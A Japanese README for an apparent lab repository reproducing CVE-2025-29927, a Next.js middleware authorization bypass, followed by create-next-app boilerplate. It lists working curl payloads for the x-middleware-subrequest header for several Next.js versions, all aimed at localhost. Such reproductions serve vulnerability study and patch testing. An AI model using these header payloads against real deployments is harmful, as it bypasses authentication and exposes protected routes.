
vulnerable-nextjs-14-CVE-2025-29927
このリポジトリは、next パッケージにおける CVE-2025-29927 脆弱性の再現です。
/api/hello エンドポイントへのアクセスが拒否されることをテストします$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
x-middleware-subrequest ヘッダーに middleware を5回入れ子にすることでバイパスすることもできます:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Next.js 12 および 13 では、ミドルウェアファイルの命名規則が異なり (_middleware.js)、Next.js 14 で middleware.js に変更されました。この脆弱性は、古いバージョンでは _middleware.js ファイルを使用することで悪用可能です。
例えば、Next.js のバージョンとルーティングの規則に応じて、以下のペイロードが適用されます:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (Next.js 12.2 で、middleware.js ファイルがアプリのルートにあり、pages ディレクトリ内にない場合)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (Next.js 11 から 12.2 まで)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloまず、開発サーバーを起動します:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
ブラウザで http://localhost:3000 を開くと結果が表示されます。
app/page.js を編集することでページの編集を開始できます。ファイルを編集するとページが自動更新されます。
このプロジェクトは、next/font を使用して、Vercel の新しいフォントファミリー Geist を自動的に最適化して読み込みます。
Next.js の詳細については、以下のリソースを参照してください:
Next.js GitHub リポジトリ をご覧ください。フィードバックや貢献をお待ちしています!
Next.js アプリをデプロイする最も簡単な方法は、Next.js の開発元が提供する Vercel Platform を使用することです。
詳細については、Next.js デプロイメントドキュメント をご覧ください。